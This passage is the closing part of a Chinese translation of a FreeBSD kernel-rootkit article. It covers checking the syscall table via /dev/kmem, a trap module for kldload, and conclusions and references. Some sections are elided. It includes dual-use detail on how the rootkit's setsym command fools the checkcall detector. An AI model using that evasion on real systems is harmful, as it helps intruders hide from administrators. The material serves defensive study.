现在你可能要问,如何防止你的系统发生这种情况,也许你有兴趣与找到你自己:)
下面我们来看几种检测的方法:
7.1 检查符号表
在上面的例子中,我们看到了系统调用表被修改了,所以你可以检查系统调用表来发现修改,一种方法就是,在系统启动时加载一个
包含有特殊目的的系统调用的模块,这个系统调用用来检查并与先前保存系统调用表对比。
上面的方法很通用,但是启它的表被修改了呢?当然你可以添加更多别的表的检查,这种方法是不能检测到jump这种方法和
直接修改内核的方法。
你应该通过/dev/kmem 监察系统调用表,在tools/checkcall有个例子,它带有两个参数,一个是syscall的名字,还有一个就是
系统调用号,以此载系统调用表中来检查。
但是这样还是有问题,比如利用在实战节中我们介绍的方法,我们只能得到错误的地址,下面的例子中将用来证明,假如我们
加载了CY,现在假如我们想要检查open这个系统调用,SYS_open的系统调用号为5,定义于/sys/sys/syscall.h
我们作如下检测
# tools/checkcall open 5
Checking syscall 5: open
sysent is 0x4 at 0xc03b7308
sysent[5] is at 0xc03b7330 and will go to function at 0xc0cd5bf4
ALERT! It should go to 0xc01ce5f8 instead
当然我们通过setsym来修复这个问题,当然你需要首先加载symtable这个模块
# exp/setsym 0xc0cd5bf4 open
现在再用checkcall检查,不会出现ALERT了,它假设open就是在0xc0cd5bf4,但是故事并没有结束,我们可以通过实际检查kernel
来证实objdump -d /kernel --start-address=0xc0cd5bf4 我们就会怀疑这个系统调用的地址过高,objdump在这个地址却没有
发现任何东西,暗示有问题了。这表明你的内核或者objdump被文件重向了,然而这将会引起一点小的争论。
7.2 陷阱模块
另外的你可以做的就是加在一个模块用来纪录kldload的调用,然后判断是拒绝还是加载,在trapmod/有个例子,你可以用非隐藏的方式
加载这个模块,当然在安全级别提升前。
7.3
。。。。。。。
7.4 概论
。。
8.结论
正如你所见到的,很多攻击的技术同样可以用来防御,通常隐藏一个用来管理的模块很重要,作为一个系统管理员隐藏一些用来检测入侵
的shell和文件是必要的。如果你是个freebsd系统管理员,应该时刻意识到即使系统处在一个高的安全级别也有很多需要注意的地方。
这篇文章可以让你学到更多的kernel works , 这是最重要的;)
9.代码
文中提到的所有代码都可以在Curious Yellow 包中找到 (地址:http:///mod/cyellow-0.01.tar.gz
xfocus也有)
10. References
FreeBSD
Exploiting Kernel buffer overflows FreeBSD Style by Esa Etelavuori
Attacking FreeBSD with Kernel Modules - The System Call Approach by pragmatic/THC
Dynamic Kernel Linker (KLD) Facility Programming Tutorial by Andrew Reiter
Linux
Runtime Kernel Kmem Patching by Silvio Cesare
Inspiriation :)
Jeff Noon, "The Vurt"
11. Thanks
Thanks go to:
Job de Haas for getting me interested in this whole stuff
Olaf Erb for checking the article for readability :)
and especially Alex Le Heux